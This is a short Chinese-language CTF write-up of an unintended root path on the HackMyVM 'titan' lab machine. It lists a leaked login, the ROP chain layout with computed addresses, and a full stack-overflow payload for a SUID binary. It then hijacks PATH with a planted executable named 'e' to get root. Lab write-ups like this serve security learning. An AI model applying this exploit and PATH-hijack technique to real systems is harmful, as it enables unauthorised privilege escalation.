hackmyvm titan非预期解
前面web部分与其他writeup相同,略去
从得到用户名密码:prometheus/iloveallhumans 开始
在用户目录下发现suid程序:

拖进ida分析:

存在栈溢出,有个关键函数:

64位程序,未开启ASLR,开启了PIE,默认基址为0x555555554000

失误:上图中echo要换成cat(对不起兄弟,我太搞笑了:)
栈布置思路:
padding + thief_addr + pop_rdi_addr + str_address + call_system_addr
thief_addr = 0x555555554000 + 0x0000000000001185 = 0x0000555555555185

pop_rdi_addr = 0x555555554000 + 0x12ab = 0x00005555555552ab

取fire的最后一个字母e的地址为str的地址:
str_addr = 0x555555554000 + 0x2018 = 0x0000555555556018
call_system_addr = 0x555555554000 + 0x00000000000011A4 = 0x00005555555551a4
payload = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x85\x51\x55\x55\x55\x55\x00\x00\xab\x52\x55\x55\x55\x55\x00\x00\x18\x60\x55\x55\x55\x55\x00\x00\xa4\x51\x55\x55\x55\x55\x00\x00"
在当前目录创建与str同名的文件e:

chmod +x e
export PATH=.:$PATH

获取root.
浙公网安备 33010602011771号